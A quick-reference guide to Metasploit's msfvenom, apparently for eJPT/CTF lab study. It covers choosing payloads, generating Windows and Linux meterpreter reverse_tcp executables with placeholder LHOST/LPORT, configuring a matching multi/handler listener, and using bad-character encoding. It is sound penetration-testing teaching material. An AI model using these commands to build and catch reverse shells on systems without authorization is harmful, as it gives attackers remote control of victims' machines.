

MSFvenom — Practical Tool Guide

List payloads and formats, choose OS/architecture/session/transport, generate authorized-lab payloads, and match them to multi/handler without treating encoding as AV bypass.

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Usage note: Commands that generate payloads are for eJPT/CTF labs or systems you own / are explicitly authorized to test.

TARGET

OS / architecture

PAYLOAD

Session / transport

FORMAT

exe / elf / ...

HANDLER

Match exactly

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1. Concept

MSFvenom generates payloads in different output formats. The handler must match the payload type, LHOST, and LPORT.

KALI TERMINAL — Help

```
msfvenom -h
```

KALI TERMINAL — List payloads

```
msfvenom -l payloads | less
```

KALI TERMINAL — Search names

```
msfvenom -l payloads | grep -i "meterpreter.*reverse_tcp"
```

2. Choose a Payload

Understanding the name is more useful than memorizing one payload.

Part	Question
Platform	windows, linux, php, or another target platform?
Session	Meterpreter or a normal shell?
Direction	reverse or bind?
Transport	tcp/http/https according to the payload?
Staged vs stageless	Check the exact payload name and description; naming/stage components differ.

3. Generate inside an authorized lab

The following use placeholders only.

AUTHORIZED LAB — Windows EXE example

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[LHOST] LPORT=[LPORT] -f exe -o payload.exe
```

AUTHORIZED LAB — Linux ELF example

```
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=[LHOST] LPORT=[LPORT] -f elf -o payload.elf
```

KALI TERMINAL — List output formats

```
msfvenom -l formats | less
```

Note: Do not treat encoders as an AV-bypass mechanism. Their basic purpose is handling encoding/format constraints such as bad characters; they do not guarantee evasion.

4. Matching Handler

A very common error is using a different handler payload from the one that generated the file.

MSFCONSOLE — Multi/handler

```
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST [LHOST]
set LPORT [LPORT]
run
```

PAYLOAD, LHOST, and LPORT must match the generated file. A platform or architecture mismatch can also prevent the expected session.

5. Bad characters / encoder

Use only when an exploit/template imposes a concrete constraint.

KALI TERMINAL — List encoders

```
msfvenom -l encoders | less
```

AUTHORIZED LAB — Bad-character concept

```
msfvenom -p [PAYLOAD] LHOST=[LHOST] LPORT=[LPORT] -b "\x00" -f [FORMAT]
```

Note: Adding -e or -i does not mean stealth. Do not add an encoder when there is no bad-character or technical requirement.

6. Workflow

Step	Decision	Result
1	Target	OS + architecture.
2	Session	Meterpreter or shell.
3	Network	LHOST / LPORT.
4	Generate	Choose a suitable format.
5	Handler	Match the payload exactly.
6	Verify	Check getuid/sysinfo and clean up lab artifacts.

Prepared as a quick-reference companion to the canonical Arabic guide. Use only in labs or systems you are explicitly authorized to test.

References:

<https://docs.rapid7.com/metasploit/the-payload-generator>

Metasploit Framework msfvenom help